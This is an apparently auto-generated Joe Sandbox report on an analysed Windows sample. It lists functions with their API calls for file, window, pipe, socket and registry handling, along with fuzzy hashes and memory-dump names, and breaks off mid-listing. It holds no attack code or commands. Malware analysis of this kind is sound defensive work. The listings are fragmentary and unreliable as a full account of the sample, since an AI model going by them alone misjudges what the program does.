API ID: ErrorLast$_wcslenclosesocketinet_addrsocket
String ID:
API String ID: 2675159561-0
Opcode ID: 4d3206935512ea0df6ea33bf929c2a7b4b12015f45e326ef3fa15e1be5238136
Instruction ID: d10786f31a6e479884e8428fd3c3a58c5b8d22e1f6bd798a5dcbebea8436bfe5
Opcode Fuzzy Hash: 4d3206935512ea0df6ea33bf929c2a7b4b12015f45e326ef3fa15e1be5238136
Instruction Fuzzy Hash: 2641F231600258AFDB10DF96C984BAABBF9EF45364F14815DF9069B291D770AD82CBE0

Function 00ACCF00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00ACDDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00ACCF22,?), ref: 00ACDDFD

Part of subcall function 00ACDDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00ACCF22,?), ref: 00ACDE16

lstrcmpiW.KERNEL32(?,?), ref: 00ACCF45
MoveFileW.KERNEL32(?,?), ref: 00ACCF7F
_wcslen.LIBCMT ref: 00ACD005
_wcslen.LIBCMT ref: 00ACD01B
SHFileOperationW.SHELL32(?), ref: 00ACD061

Strings

\*.*, xrefs: 00ACCFF3

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: FileFullNamePath_wcslen$MoveOperationlstrcmpi
String ID: \*.*
API String ID: 3164238972-1173974218
Opcode ID: 28dd0d16f9d49d166b4666801899609aabb6f45dcaf52224d4e64a0c9b3e1f5e
Instruction ID: ec21312582e6c287fd9937727672fc4b5e49d83270f8c00bb7da42866e5c2e7a
Opcode Fuzzy Hash: 28dd0d16f9d49d166b4666801899609aabb6f45dcaf52224d4e64a0c9b3e1f5e
Instruction Fuzzy Hash: A24156719052185FDF12EBA4CA81FDEB7B8AF08790F0100EEE509EB141EB34AB45CB50

Function 00AF2DFD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00AF2E1C
GetWindowLongW.USER32(?,000000F0), ref: 00AF2E4F
GetWindowLongW.USER32(?,000000F0), ref: 00AF2E84
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00AF2EB6
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00AF2EE0
GetWindowLongW.USER32(?,000000F0), ref: 00AF2EF1
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00AF2F0B

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 1613df7f7c2c77853cb3188b87ae68f281e2448aee29f12280607eddf1d3f9f2
Instruction ID: 32c130e23678d5a2757145192d35b80f04a10b49cac9f30ff86611aa45cc6543
Opcode Fuzzy Hash: 1613df7f7c2c77853cb3188b87ae68f281e2448aee29f12280607eddf1d3f9f2
Instruction Fuzzy Hash: D031F230644258AFEB21CF99DD84F693BE5EB9A720F250164FA00CF2B1CB71A842DB41

Function 00AC7726 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00AC7769
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00AC778F
SysAllocString.OLEAUT32(00000000), ref: 00AC7792
SysAllocString.OLEAUT32(?), ref: 00AC77B0
SysFreeString.OLEAUT32(?), ref: 00AC77B9
StringFromGUID2.OLE32(?,?,00000028), ref: 00AC77DE
SysAllocString.OLEAUT32(?), ref: 00AC77EC

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: cd70e9afc1ce4e7fbde894a9b78990730801b21ac9583a9e60e14a044f084fee
Instruction ID: 4dfa55c7ad9ba838f76e8a87eff929abedc849e41ec0b460ce86d5e2a6bcf357
Opcode Fuzzy Hash: cd70e9afc1ce4e7fbde894a9b78990730801b21ac9583a9e60e14a044f084fee
Instruction Fuzzy Hash: 1E21AE7660821DAFDB10DFE9CD88EBF73ACEB09364B018029BA15DB190D670DD46CB64

Function 00AC77FD Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00AC7842
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00AC7868
SysAllocString.OLEAUT32(00000000), ref: 00AC786B
SysAllocString.OLEAUT32 ref: 00AC788C
SysFreeString.OLEAUT32 ref: 00AC7895
StringFromGUID2.OLE32(?,?,00000028), ref: 00AC78AF
SysAllocString.OLEAUT32(?), ref: 00AC78BD

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 2e502900cfa1e4b555645d65dee82933d2cefaa5fba653d620c22ace37d93dcd
Instruction ID: 8e29dc7ced4fa5806e08b6d4cb83ca25b485f0a6d2dd431ddd5baf738cb08f83
Opcode Fuzzy Hash: 2e502900cfa1e4b555645d65dee82933d2cefaa5fba653d620c22ace37d93dcd
Instruction Fuzzy Hash: E4213136608108AFDB109BE9DC8DEBA77ACEB097607118129BA15CB2A1D674DD81CB64

Function 00AD04D2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00AD04F2
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00AD052E

Strings

nul, xrefs: 00AD0567

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 47e6fd38338d672b8706e37cf4ddf04856018bc25a35679074f1dd20a32144ae
Instruction ID: 5ed9420905cddf04f6cd0c1fde3351cb9b1778beb917c8e4094cbbe2011198eb
Opcode Fuzzy Hash: 47e6fd38338d672b8706e37cf4ddf04856018bc25a35679074f1dd20a32144ae
Instruction Fuzzy Hash: 5C215175500305DBDB209F69E845F9A7BB4AF54724F208A1AECA2D72E0D7709951DF20

Function 00AD05A7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00AD05C6
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00AD0601

Strings

nul, xrefs: 00AD0639

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 98b8b433b35bd0be1b6fa31600619fc16f75b14aa42769a2838465c974c85390
Instruction ID: f8f91dec83f58b7941f6a1ee30263c0f577519b66da67f7de7def33c9f513c89
Opcode Fuzzy Hash: 98b8b433b35bd0be1b6fa31600619fc16f75b14aa42769a2838465c974c85390
Instruction Fuzzy Hash: CE2141755003059BDB209FB99C04FAA77E4AF95730F204A1AE8A2E73E0D7B0D961CB10

Function 00AF40AD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A6600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00A6604C
Part of subcall function 00A6600E: GetStockObject.GDI32(00000011), ref: 00A66060
Part of subcall function 00A6600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 00A6606A

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00AF4112
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00AF411F
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00AF412A
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00AF4139
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00AF4145

Strings

Msctls_Progress32, xrefs: 00AF40E3

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 9acfa58fe6d6f2e50d4e86aa6004b674f703eaebec71eb6c0097f58c1a6ac5e2
Instruction ID: cb08e0ee55a5a57a4b16080a035c90dbb406ccb6681722460d36a75b3a079be4
Opcode Fuzzy Hash: 9acfa58fe6d6f2e50d4e86aa6004b674f703eaebec71eb6c0097f58c1a6ac5e2
Instruction Fuzzy Hash: C91181B114011DBEEB119FA4CC85EE77F6DEF08798F014210BB18A2050CB769C21DBA4

Function 00A9D7DF Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00A9D7A3: _free.LIBCMT ref: 00A9D7CC

_free.LIBCMT ref: 00A9D82D

Part of subcall function 00A929C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00A9D7D1,00000000,00000000,00000000,00000000,?,00A9D7F8,00000000,00000007,00000000,?,00A9DBF5,00000000), ref: 00A929DE
Part of subcall function 00A929C8: GetLastError.KERNEL32(00000000,?,00A9D7D1,00000000,00000000,00000000,00000000,?,00A9D7F8,00000000,00000007,00000000,?,00A9DBF5,00000000,00000000), ref: 00A929F0

_free.LIBCMT ref: 00A9D838
_free.LIBCMT ref: 00A9D843
_free.LIBCMT ref: 00A9D897
_free.LIBCMT ref: 00A9D8A2
_free.LIBCMT ref: 00A9D8AD
_free.LIBCMT ref: 00A9D8B8

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction ID: fe4601f8410f3cdb21a18289550167bf4bea5452f9918721f7e9aca1bd6509cc
Opcode Fuzzy Hash: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction Fuzzy Hash: D9111971A40B04BADE21FFF0CE47FCB7BDCAF44700F404825B29DAA492DA65B58587A0

Function 00ACDA5A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00ACDA74
LoadStringW.USER32(00000000), ref: 00ACDA7B
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00ACDA91
LoadStringW.USER32(00000000), ref: 00ACDA98
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00ACDADC

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00ACDAB9

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: HandleLoadModuleString$Message
String ID: %s (%d) : ==> %s: %s %s
API String ID: 4072794657-3128320259
Opcode ID: f31fdf9ce42e562646bcc1f05c5b0777b1fe9ea9a9287271730a25b9e5f9c55d
Instruction ID: 211a004823ac1260cd8994d3b5aa45f5db3cc9e49b10a9c88091a7aa7d10ac76
Opcode Fuzzy Hash: f31fdf9ce42e562646bcc1f05c5b0777b1fe9ea9a9287271730a25b9e5f9c55d
Instruction Fuzzy Hash: CA014FF250020C7BE750EBE19E89EF7726CE708711F4005A5B75AE6041E6749E858B74

Function 00AD096B Relevance: 10.5, APIs: 7, Instructions: 35synchronizationthreadCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(0128E078,0128E078), ref: 00AD097B
EnterCriticalSection.KERNEL32(0128E058,00000000), ref: 00AD098D
TerminateThread.KERNEL32(?,000001F6), ref: 00AD099B
WaitForSingleObject.KERNEL32(?,000003E8), ref: 00AD09A9
CloseHandle.KERNEL32(?), ref: 00AD09B8
InterlockedExchange.KERNEL32(0128E078,000001F6), ref: 00AD09C8
LeaveCriticalSection.KERNEL32(0128E058), ref: 00AD09CF

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 6b8e5334814a25fe7676ee3bbfee189d921d440d8abada9d4e3896784ab0f927
Instruction ID: eb79743ca82f5ca3e06a4f27097ad205f6fd3b3d6a74baecd673d17e780837fe
Opcode Fuzzy Hash: 6b8e5334814a25fe7676ee3bbfee189d921d440d8abada9d4e3896784ab0f927
Instruction Fuzzy Hash: ADF01D31442516ABD741ABD5EF88BE6BA25FF01752F401116F202908A0C7749466DF90

Function 00AE1C60 Relevance: 9.3, APIs: 6, Instructions: 298networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00AE1DC0
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00AE1DE1
WSAGetLastError.WSOCK32 ref: 00AE1DF2
htons.WSOCK32(?,?,?,?,?), ref: 00AE1EDB
inet_ntoa.WSOCK32(?), ref: 00AE1E8C

Part of subcall function 00AC39E8: _strlen.LIBCMT ref: 00AC39F2

Part of subcall function 00AE3224: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000000,?,?,?,?,00ADEC0C), ref: 00AE3240

_strlen.LIBCMT ref: 00AE1F35

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: _strlen$ByteCharErrorLastMultiWidehtonsinet_ntoa
String ID:
API String ID: 3203458085-0
Opcode ID: 32f48fed0aff83597b5e41ea4231efabe6123e65937dfee18e68335ffe371c4b
Instruction ID: 0908039efbb48fabc014d830b8a91837047287daa845ab0b2f95f220d9129006
Opcode Fuzzy Hash: 32f48fed0aff83597b5e41ea4231efabe6123e65937dfee18e68335ffe371c4b
Instruction Fuzzy Hash: 12B1EF31204390AFC324DF65C995E6A7BF5AF84318F54894CF45A9B2E2DB31ED82CB91

Function 00A65D0A Relevance: 9.3, APIs: 6, Instructions: 276COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00A65D30
GetWindowRect.USER32(?,?), ref: 00A65D71
ScreenToClient.USER32(?,?), ref: 00A65D99
GetClientRect.USER32(?,?), ref: 00A65ED7
GetWindowRect.USER32(?,?), ref: 00A65EF8

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: 0d62e51eaf5a50a3a4faaddb1201a622b66a41d337d15c94cfa8bda9af9328bc
Instruction ID: db5b68f56e4604204e2d4fcb12b9e62abe326a405d37f73c8f02417d7b5e25ad
Opcode Fuzzy Hash: 0d62e51eaf5a50a3a4faaddb1201a622b66a41d337d15c94cfa8bda9af9328bc
Instruction Fuzzy Hash: F1B16634A00A4ADBDB10CFB9C4807EEB7F1FF58310F14841AE8AAD7290DB34AA51DB50

Function 00A901B7 Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 00A900BA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00A900D6
__allrem.LIBCMT ref: 00A900ED
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00A9010B
__allrem.LIBCMT ref: 00A90122
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00A90140

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 8fbb49ba762f8ece8e29681380aa111ddf72d6c7443a1a5a7b6c612577c50f6c
Instruction ID: 7667c941e70cd3931d3bf8a719b00badaeef74e52737a1af453351a89ebb5eef
Opcode Fuzzy Hash: 8fbb49ba762f8ece8e29681380aa111ddf72d6c7443a1a5a7b6c612577c50f6c
Instruction Fuzzy Hash: 0681D276B00706AFEB24AF68CD41B6B73E9AF41764F24463AF651D7681E770DD008B90

Function 00A961FE Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00A882D9,00A882D9,?,?,?,00A9644F,00000001,00000001,8BE85006), ref: 00A96258
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00A9644F,00000001,00000001,8BE85006,?,?,?), ref: 00A962DE
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,8BE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00A963D8
__freea.LIBCMT ref: 00A963E5

Part of subcall function 00A93820: RtlAllocateHeap.NTDLL(00000000,?,00B31444,?,00A7FDF5,?,?,00A6A976,00000010,00B31440,00A613FC,?,00A613C6,?,00A61129), ref: 00A93852

__freea.LIBCMT ref: 00A963EE
__freea.LIBCMT ref: 00A96413

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 88976c192539c9451789c1807b5215cf3b2970a39a89d69e1e08293a909a02aa
Instruction ID: 315b9abaed4db5bf1991206097b3ffa74e8e1436b9039cd2e91081bebb996ae0
Opcode Fuzzy Hash: 88976c192539c9451789c1807b5215cf3b2970a39a89d69e1e08293a909a02aa
Instruction Fuzzy Hash: 0B519F72B00216ABEF268FA4DD81EAF7BE9EF44750F154629FC05DA190EB34DC50D6A0

Function 00AEBBDB Relevance: 9.2, APIs: 6, Instructions: 191registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A69CB3: _wcslen.LIBCMT ref: 00A69CBD

Part of subcall function 00AEC998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00AEB6AE,?,?), ref: 00AEC9B5
Part of subcall function 00AEC998: _wcslen.LIBCMT ref: 00AEC9F1
Part of subcall function 00AEC998: _wcslen.LIBCMT ref: 00AECA68
Part of subcall function 00AEC998: _wcslen.LIBCMT ref: 00AECA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00AEBCCA
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00AEBD25
RegCloseKey.ADVAPI32(00000000), ref: 00AEBD6A
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00AEBD99
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00AEBDF3
RegCloseKey.ADVAPI32(?), ref: 00AEBDFF

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpperValue
String ID:
API String ID: 1120388591-0
Opcode ID: 2028a916eeacfcf745199f38e1548a0ad4434a545babe2b5358dbc6ee311512b
Instruction ID: da9c2e5b7612aeda68481c7cf0451881d911aa788ef12f8e81d1162566cdefa0
Opcode Fuzzy Hash: 2028a916eeacfcf745199f38e1548a0ad4434a545babe2b5358dbc6ee311512b
Instruction Fuzzy Hash: CE818B30118281AFD714DF65C995E2BBBF5BF84308F14895CF45A8B2A2DB31ED45CBA2

Function 00ABF7AD Relevance: 9.2, APIs: 6, Instructions: 183memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000035), ref: 00ABF7B9
